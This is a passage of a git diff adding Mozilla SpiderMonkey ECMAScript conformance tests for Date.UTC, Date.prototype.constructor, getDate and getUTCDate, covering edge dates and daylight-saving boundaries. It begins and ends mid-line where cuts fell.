+ new TestCase( SECTION, "Date.parse(" + DateCase.toGMTString() +")", Math.floor(ResultArray[TIME]/1000)*1000, Date.parse(DateCase.toGMTString()) );
+}
diff --git a/js/src/tests/ecma/Date/15.9.4.3.js b/js/src/tests/ecma/Date/15.9.4.3.js
new file mode 100644
index 000000000..85abcf488
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.4.3.js
@@ -0,0 +1,151 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+var SECTION = "15.9.4.3";
+var TITLE = "Date.UTC( year, month, date, hours, minutes, seconds, ms )";
+
+// Dates around 1970
+
+addNewTestCase( Date.UTC( 1970,0,1,0,0,0,0),
+ "Date.UTC( 1970,0,1,0,0,0,0)",
+ utc(1970,0,1,0,0,0,0) );
+
+addNewTestCase( Date.UTC( 1969,11,31,23,59,59,999),
+ "Date.UTC( 1969,11,31,23,59,59,999)",
+ utc(1969,11,31,23,59,59,999) );
+addNewTestCase( Date.UTC( 1972,1,29,23,59,59,999),
+ "Date.UTC( 1972,1,29,23,59,59,999)",
+ utc(1972,1,29,23,59,59,999) );
+addNewTestCase( Date.UTC( 1972,2,1,23,59,59,999),
+ "Date.UTC( 1972,2,1,23,59,59,999)",
+ utc(1972,2,1,23,59,59,999) );
+addNewTestCase( Date.UTC( 1968,1,29,23,59,59,999),
+ "Date.UTC( 1968,1,29,23,59,59,999)",
+ utc(1968,1,29,23,59,59,999) );
+addNewTestCase( Date.UTC( 1968,2,1,23,59,59,999),
+ "Date.UTC( 1968,2,1,23,59,59,999)",
+ utc(1968,2,1,23,59,59,999) );
+addNewTestCase( Date.UTC( 1969,0,1,0,0,0,0),
+ "Date.UTC( 1969,0,1,0,0,0,0)",
+ utc(1969,0,1,0,0,0,0) );
+addNewTestCase( Date.UTC( 1969,11,31,23,59,59,1000),
+ "Date.UTC( 1969,11,31,23,59,59,1000)",
+ utc(1970,0,1,0,0,0,0) );
+addNewTestCase( Date.UTC( 1969,Number.NaN,31,23,59,59,999),
+ "Date.UTC( 1969,Number.NaN,31,23,59,59,999)",
+ utc(1969,Number.NaN,31,23,59,59,999) );
+
+// Dates around 2000
+
+addNewTestCase( Date.UTC( 1999,11,31,23,59,59,999),
+ "Date.UTC( 1999,11,31,23,59,59,999)",
+ utc(1999,11,31,23,59,59,999) );
+addNewTestCase( Date.UTC( 2000,0,1,0,0,0,0),
+ "Date.UTC( 2000,0,1,0,0,0,0)",
+ utc(2000,0,1,0,0,0,0) );
+
+// Dates around 1900
+addNewTestCase( Date.UTC( 1899,11,31,23,59,59,999),
+ "Date.UTC( 1899,11,31,23,59,59,999)",
+ utc(1899,11,31,23,59,59,999) );
+addNewTestCase( Date.UTC( 1900,0,1,0,0,0,0),
+ "Date.UTC( 1900,0,1,0,0,0,0)",
+ utc(1900,0,1,0,0,0,0) );
+addNewTestCase( Date.UTC( 1973,0,1,0,0,0,0),
+ "Date.UTC( 1973,0,1,0,0,0,0)",
+ utc(1973,0,1,0,0,0,0) );
+addNewTestCase( Date.UTC( 1776,6,4,12,36,13,111),
+ "Date.UTC( 1776,6,4,12,36,13,111)",
+ utc(1776,6,4,12,36,13,111) );
+addNewTestCase( Date.UTC( 2525,9,18,15,30,1,123),
+ "Date.UTC( 2525,9,18,15,30,1,123)",
+ utc(2525,9,18,15,30,1,123) );
+
+// Dates around 29 Feb 2000
+
+addNewTestCase( Date.UTC( 2000,1,29,0,0,0,0 ),
+ "Date.UTC( 2000,1,29,0,0,0,0 )",
+ utc(2000,1,29,0,0,0,0) );
+addNewTestCase( Date.UTC( 2000,1,29,8,0,0,0 ),
+ "Date.UTC( 2000,1,29,8,0,0,0 )",
+ utc(2000,1,29,8,0,0,0) );
+
+// Dates around 1 Jan 2005
+
+addNewTestCase( Date.UTC( 2005,0,1,0,0,0,0 ),
+ "Date.UTC( 2005,0,1,0,0,0,0 )",
+ utc(2005,0,1,0,0,0,0) );
+addNewTestCase( Date.UTC( 2004,11,31,16,0,0,0 ),
+ "Date.UTC( 2004,11,31,16,0,0,0 )",
+ utc(2004,11,31,16,0,0,0) );
+
+test();
+
+function addNewTestCase( DateCase, DateString, ExpectDate) {
+ DateCase = DateCase;
+
+ new TestCase( SECTION, DateString, ExpectDate.value, DateCase );
+ new TestCase( SECTION, DateString, ExpectDate.value, DateCase );
+}
+
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+
+function utc( year, month, date, hours, minutes, seconds, ms ) {
+ d = new MyDate();
+ d.year = Number(year);
+
+ if (month)
+ d.month = Number(month);
+ if (date)
+ d.date = Number(date);
+ if (hours)
+ d.hours = Number(hours);
+ if (minutes)
+ d.minutes = Number(minutes);
+ if (seconds)
+ d.seconds = Number(seconds);
+ if (ms)
+ d.ms = Number(ms);
+
+ if ( isNaN(d.year) && 0 <= ToInteger(d.year) && d.year <= 99 ) {
+ d.year = 1900 + ToInteger(d.year);
+ }
+
+ if (isNaN(month) || isNaN(year) || isNaN(date) || isNaN(hours) ||
+ isNaN(minutes) || isNaN(seconds) || isNaN(ms) ) {
+ d.year = Number.NaN;
+ d.month = Number.NaN;
+ d.date = Number.NaN;
+ d.hours = Number.NaN;
+ d.minutes = Number.NaN;
+ d.seconds = Number.NaN;
+ d.ms = Number.NaN;
+ d.value = Number.NaN;
+ d.time = Number.NaN;
+ d.day =Number.NaN;
+ return d;
+ }
+
+ d.day = MakeDay( d.year, d.month, d.date );
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = (TimeClip( MakeDate(d.day,d.time)));
+
+ return d;
+}
+
+function UTCTime( t ) {
+ sign = ( t < 0 ) ? -1 : 1;
+ return ( (t +(TZ_DIFF*msPerHour)) );
+}
+
diff --git a/js/src/tests/ecma/Date/15.9.5.1.js b/js/src/tests/ecma/Date/15.9.5.1.js
new file mode 100644
index 000000000..165637b58
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.1.js
@@ -0,0 +1,29 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.1.js
+ ECMA Section: 15.9.5.1 Date.prototype.constructor
+ Description:
+ The initial value of Date.prototype.constructor is the built-in Date
+ constructor.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.constructor";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Date.prototype.constructor == Date",
+ true,
+ Date.prototype.constructor == Date );
+test();
diff --git a/js/src/tests/ecma/Date/15.9.5.10-1.js b/js/src/tests/ecma/Date/15.9.5.10-1.js
new file mode 100644
index 000000000..b4986599d
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.10-1.js
@@ -0,0 +1,51 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.10.js
+ ECMA Section: 15.9.5.10
+ Description: Date.prototype.getDate
+
+ 1.Let t be this time value.
+ 2.If t is NaN, return NaN.
+ 3.Return DateFromTime(LocalTime(t)).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.10";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getDate()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_NOW );
+
+new TestCase( SECTION,
+ "(new Date(NaN)).getDate()",
+ NaN,
+ (new Date(NaN)).getDate() );
+
+new TestCase( SECTION,
+ "Date.prototype.getDate.length",
+ 0,
+ Date.prototype.getDate.length );
+test();
+
+function addTestCase( t ) {
+ var start = TimeFromYear(YearFromTime(t));
+ var stop = TimeFromYear(YearFromTime(t) + 1);
+
+ for (var d = start; d < stop; d += msPerDay)
+ {
+ new TestCase( SECTION,
+ "(new Date("+d+")).getDate()",
+ DateFromTime(LocalTime(d)),
+ (new Date(d)).getDate() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.10-10.js b/js/src/tests/ecma/Date/15.9.5.10-10.js
new file mode 100644
index 000000000..a12c29c8e
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.10-10.js
@@ -0,0 +1,55 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.10.js
+ ECMA Section: 15.9.5.10
+ Description: Date.prototype.getDate
+
+ 1.Let t be this time value.
+ 2.If t is NaN, return NaN.
+ 3.Return DateFromTime(LocalTime(t)).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.10";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getDate()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// some daylight savings time cases
+
+var DST_START_1998 = GetDSTStart(TimeFromYear(1998));
+
+addTestCase( DST_START_1998+1 );
+
+new TestCase( SECTION,
+ "(new Date(NaN)).getDate()",
+ NaN,
+ (new Date(NaN)).getDate() );
+
+new TestCase( SECTION,
+ "Date.prototype.getDate.length",
+ 0,
+ Date.prototype.getDate.length );
+test();
+
+function addTestCase( t ) {
+ var start = TimeFromYear(YearFromTime(t));
+ var stop = TimeFromYear(YearFromTime(t) + 1);
+
+ for (var d = start; d < stop; d += msPerDay)
+ {
+ new TestCase( SECTION,
+ "(new Date("+d+")).getDate()",
+ DateFromTime(LocalTime(d)),
+ (new Date(d)).getDate() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.10-11.js b/js/src/tests/ecma/Date/15.9.5.10-11.js
new file mode 100644
index 000000000..6dd84bd95
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.10-11.js
@@ -0,0 +1,55 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.10.js
+ ECMA Section: 15.9.5.10
+ Description: Date.prototype.getDate
+
+ 1.Let t be this time value.
+ 2.If t is NaN, return NaN.
+ 3.Return DateFromTime(LocalTime(t)).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.10";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getDate()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// some daylight savings time cases
+
+var DST_END_1998 = GetDSTEnd(TimeFromYear(1998));
+
+addTestCase( DST_END_1998 );
+
+new TestCase( SECTION,
+ "(new Date(NaN)).getDate()",
+ NaN,
+ (new Date(NaN)).getDate() );
+
+new TestCase( SECTION,
+ "Date.prototype.getDate.length",
+ 0,
+ Date.prototype.getDate.length );
+test();
+
+function addTestCase( t ) {
+ var start = TimeFromYear(YearFromTime(t));
+ var stop = TimeFromYear(YearFromTime(t) + 1);
+
+ for (var d = start; d < stop; d += msPerDay)
+ {
+ new TestCase( SECTION,
+ "(new Date("+d+")).getDate()",
+ DateFromTime(LocalTime(d)),
+ (new Date(d)).getDate() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.10-12.js b/js/src/tests/ecma/Date/15.9.5.10-12.js
new file mode 100644
index 000000000..d572ea3ff
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.10-12.js
@@ -0,0 +1,55 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.10.js
+ ECMA Section: 15.9.5.10
+ Description: Date.prototype.getDate
+
+ 1.Let t be this time value.
+ 2.If t is NaN, return NaN.
+ 3.Return DateFromTime(LocalTime(t)).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.10";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getDate()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// some daylight savings time cases
+
+var DST_END_1998 = GetDSTEnd(TimeFromYear(1998));
+
+addTestCase( DST_END_1998-1 );
+
+new TestCase( SECTION,
+ "(new Date(NaN)).getDate()",
+ NaN,
+ (new Date(NaN)).getDate() );
+
+new TestCase( SECTION,
+ "Date.prototype.getDate.length",
+ 0,
+ Date.prototype.getDate.length );
+test();
+
+function addTestCase( t ) {
+ var start = TimeFromYear(YearFromTime(t));
+ var stop = TimeFromYear(YearFromTime(t) + 1);
+
+ for (var d = start; d < stop; d += msPerDay)
+ {
+ new TestCase( SECTION,
+ "(new Date("+d+")).getDate()",
+ DateFromTime(LocalTime(d)),
+ (new Date(d)).getDate() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.10-13.js b/js/src/tests/ecma/Date/15.9.5.10-13.js
new file mode 100644
index 000000000..affe27e98
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.10-13.js
@@ -0,0 +1,55 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.10.js
+ ECMA Section: 15.9.5.10
+ Description: Date.prototype.getDate
+
+ 1.Let t be this time value.
+ 2.If t is NaN, return NaN.
+ 3.Return DateFromTime(LocalTime(t)).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.10";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getDate()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// some daylight savings time cases
+
+var DST_END_1998 = GetDSTEnd(TimeFromYear(1998));
+
+addTestCase( DST_END_1998+1 );
+
+new TestCase( SECTION,
+ "(new Date(NaN)).getDate()",
+ NaN,
+ (new Date(NaN)).getDate() );
+
+new TestCase( SECTION,
+ "Date.prototype.getDate.length",
+ 0,
+ Date.prototype.getDate.length );
+test();
+
+function addTestCase( t ) {
+ var start = TimeFromYear(YearFromTime(t));
+ var stop = TimeFromYear(YearFromTime(t) + 1);
+
+ for (var d = start; d < stop; d += msPerDay)
+ {
+ new TestCase( SECTION,
+ "(new Date("+d+")).getDate()",
+ DateFromTime(LocalTime(d)),
+ (new Date(d)).getDate() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.10-2.js b/js/src/tests/ecma/Date/15.9.5.10-2.js
new file mode 100644
index 000000000..02a3c7030
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.10-2.js
@@ -0,0 +1,51 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.10.js
+ ECMA Section: 15.9.5.10
+ Description: Date.prototype.getDate
+
+ 1.Let t be this time value.
+ 2.If t is NaN, return NaN.
+ 3.Return DateFromTime(LocalTime(t)).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.10";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getDate()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_0000 );
+
+new TestCase( SECTION,
+ "(new Date(NaN)).getDate()",
+ NaN,
+ (new Date(NaN)).getDate() );
+
+new TestCase( SECTION,
+ "Date.prototype.getDate.length",
+ 0,
+ Date.prototype.getDate.length );
+test();
+
+function addTestCase( t ) {
+ var start = TimeFromYear(YearFromTime(t));
+ var stop = TimeFromYear(YearFromTime(t) + 1);
+
+ for (var d = start; d < stop; d += msPerDay)
+ {
+ new TestCase( SECTION,
+ "(new Date("+d+")).getDate()",
+ DateFromTime(LocalTime(d)),
+ (new Date(d)).getDate() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.10-3.js b/js/src/tests/ecma/Date/15.9.5.10-3.js
new file mode 100644
index 000000000..896b83e74
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.10-3.js
@@ -0,0 +1,51 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.10.js
+ ECMA Section: 15.9.5.10
+ Description: Date.prototype.getDate
+
+ 1.Let t be this time value.
+ 2.If t is NaN, return NaN.
+ 3.Return DateFromTime(LocalTime(t)).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.10";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getDate()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_1970 );
+
+new TestCase( SECTION,
+ "(new Date(NaN)).getDate()",
+ NaN,
+ (new Date(NaN)).getDate() );
+
+new TestCase( SECTION,
+ "Date.prototype.getDate.length",
+ 0,
+ Date.prototype.getDate.length );
+test();
+
+function addTestCase( t ) {
+ var start = TimeFromYear(YearFromTime(t));
+ var stop = TimeFromYear(YearFromTime(t) + 1);
+
+ for (var d = start; d < stop; d += msPerDay)
+ {
+ new TestCase( SECTION,
+ "(new Date("+d+")).getDate()",
+ DateFromTime(LocalTime(d)),
+ (new Date(d)).getDate() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.10-4.js b/js/src/tests/ecma/Date/15.9.5.10-4.js
new file mode 100644
index 000000000..030865f06
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.10-4.js
@@ -0,0 +1,51 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.10.js
+ ECMA Section: 15.9.5.10
+ Description: Date.prototype.getDate
+
+ 1.Let t be this time value.
+ 2.If t is NaN, return NaN.
+ 3.Return DateFromTime(LocalTime(t)).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.10";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getDate()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_1900 );
+
+new TestCase( SECTION,
+ "(new Date(NaN)).getDate()",
+ NaN,
+ (new Date(NaN)).getDate() );
+
+new TestCase( SECTION,
+ "Date.prototype.getDate.length",
+ 0,
+ Date.prototype.getDate.length );
+test();
+
+function addTestCase( t ) {
+ var start = TimeFromYear(YearFromTime(t));
+ var stop = TimeFromYear(YearFromTime(t) + 1);
+
+ for (var d = start; d < stop; d += msPerDay)
+ {
+ new TestCase( SECTION,
+ "(new Date("+d+")).getDate()",
+ DateFromTime(LocalTime(d)),
+ (new Date(d)).getDate() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.10-5.js b/js/src/tests/ecma/Date/15.9.5.10-5.js
new file mode 100644
index 000000000..99e323a68
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.10-5.js
@@ -0,0 +1,51 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.10.js
+ ECMA Section: 15.9.5.10
+ Description: Date.prototype.getDate
+
+ 1.Let t be this time value.
+ 2.If t is NaN, return NaN.
+ 3.Return DateFromTime(LocalTime(t)).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.10";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getDate()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_2000 );
+
+new TestCase( SECTION,
+ "(new Date(NaN)).getDate()",
+ NaN,
+ (new Date(NaN)).getDate() );
+
+new TestCase( SECTION,
+ "Date.prototype.getDate.length",
+ 0,
+ Date.prototype.getDate.length );
+test();
+
+function addTestCase( t ) {
+ var start = TimeFromYear(YearFromTime(t));
+ var stop = TimeFromYear(YearFromTime(t) + 1);
+
+ for (var d = start; d < stop; d += msPerDay)
+ {
+ new TestCase( SECTION,
+ "(new Date("+d+")).getDate()",
+ DateFromTime(LocalTime(d)),
+ (new Date(d)).getDate() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.10-6.js b/js/src/tests/ecma/Date/15.9.5.10-6.js
new file mode 100644
index 000000000..c2c0da3f8
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.10-6.js
@@ -0,0 +1,51 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.10.js
+ ECMA Section: 15.9.5.10
+ Description: Date.prototype.getDate
+
+ 1.Let t be this time value.
+ 2.If t is NaN, return NaN.
+ 3.Return DateFromTime(LocalTime(t)).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.10";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getDate()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( UTC_FEB_29_2000 );
+
+new TestCase( SECTION,
+ "(new Date(NaN)).getDate()",
+ NaN,
+ (new Date(NaN)).getDate() );
+
+new TestCase( SECTION,
+ "Date.prototype.getDate.length",
+ 0,
+ Date.prototype.getDate.length );
+test();
+
+function addTestCase( t ) {
+ var start = TimeFromYear(YearFromTime(t));
+ var stop = TimeFromYear(YearFromTime(t) + 1);
+
+ for (var d = start; d < stop; d += msPerDay)
+ {
+ new TestCase( SECTION,
+ "(new Date("+d+")).getDate()",
+ DateFromTime(LocalTime(d)),
+ (new Date(d)).getDate() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.10-7.js b/js/src/tests/ecma/Date/15.9.5.10-7.js
new file mode 100644
index 000000000..57423d743
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.10-7.js
@@ -0,0 +1,51 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.10.js
+ ECMA Section: 15.9.5.10
+ Description: Date.prototype.getDate
+
+ 1.Let t be this time value.
+ 2.If t is NaN, return NaN.
+ 3.Return DateFromTime(LocalTime(t)).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.10";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getDate()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( UTC_JAN_1_2005 );
+
+new TestCase( SECTION,
+ "(new Date(NaN)).getDate()",
+ NaN,
+ (new Date(NaN)).getDate() );
+
+new TestCase( SECTION,
+ "Date.prototype.getDate.length",
+ 0,
+ Date.prototype.getDate.length );
+test();
+
+function addTestCase( t ) {
+ var start = TimeFromYear(YearFromTime(t));
+ var stop = TimeFromYear(YearFromTime(t) + 1);
+
+ for (var d = start; d < stop; d += msPerDay)
+ {
+ new TestCase( SECTION,
+ "(new Date("+d+")).getDate()",
+ DateFromTime(LocalTime(d)),
+ (new Date(d)).getDate() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.10-8.js b/js/src/tests/ecma/Date/15.9.5.10-8.js
new file mode 100644
index 000000000..4c53da493
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.10-8.js
@@ -0,0 +1,55 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.10.js
+ ECMA Section: 15.9.5.10
+ Description: Date.prototype.getDate
+
+ 1.Let t be this time value.
+ 2.If t is NaN, return NaN.
+ 3.Return DateFromTime(LocalTime(t)).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.10";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getDate()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// some daylight savings time cases
+
+var DST_START_1998 = GetDSTStart(TimeFromYear(1998));
+
+addTestCase( DST_START_1998 );
+
+new TestCase( SECTION,
+ "(new Date(NaN)).getDate()",
+ NaN,
+ (new Date(NaN)).getDate() );
+
+new TestCase( SECTION,
+ "Date.prototype.getDate.length",
+ 0,
+ Date.prototype.getDate.length );
+test();
+
+function addTestCase( t ) {
+ var start = TimeFromYear(YearFromTime(t));
+ var stop = TimeFromYear(YearFromTime(t) + 1);
+
+ for (var d = start; d < stop; d += msPerDay)
+ {
+ new TestCase( SECTION,
+ "(new Date("+d+")).getDate()",
+ DateFromTime(LocalTime(d)),
+ (new Date(d)).getDate() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.10-9.js b/js/src/tests/ecma/Date/15.9.5.10-9.js
new file mode 100644
index 000000000..84e7f54b0
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.10-9.js
@@ -0,0 +1,55 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.10.js
+ ECMA Section: 15.9.5.10
+ Description: Date.prototype.getDate
+
+ 1.Let t be this time value.
+ 2.If t is NaN, return NaN.
+ 3.Return DateFromTime(LocalTime(t)).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.10";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getDate()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// some daylight savings time cases
+
+var DST_START_1998 = GetDSTStart(TimeFromYear(1998));
+
+addTestCase( DST_START_1998-1 );
+
+new TestCase( SECTION,
+ "(new Date(NaN)).getDate()",
+ NaN,
+ (new Date(NaN)).getDate() );
+
+new TestCase( SECTION,
+ "Date.prototype.getDate.length",
+ 0,
+ Date.prototype.getDate.length );
+test();
+
+function addTestCase( t ) {
+ var start = TimeFromYear(YearFromTime(t));
+ var stop = TimeFromYear(YearFromTime(t) + 1);
+
+ for (var d = start; d < stop; d += msPerDay)
+ {
+ new TestCase( SECTION,
+ "(new Date("+d+")).getDate()",
+ DateFromTime(LocalTime(d)),
+ (new Date(d)).getDate() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.11-1.js b/js/src/tests/ecma/Date/15.9.5.11-1.js
new file mode 100644
index 000000000..5e0b98198
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.11-1.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.11.js
+ ECMA Section: 15.9.5.11
+ Description: Date.prototype.getUTCDate
+
+ 1.Let t be this time value.
+ 2.If t is NaN, return NaN.
+ 1.Return DateFromTime(t).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.11";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getUTCDate()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_NOW );
+
+test();
+
+function addTestCase( t ) {
+ var start = TimeFromYear(YearFromTime(t));
+ var stop = TimeFromYear(YearFromTime(t) + 1);
+
+ for (var d = start; d < stop; d += msPerDay)
+ {
+ new TestCase( SECTION,
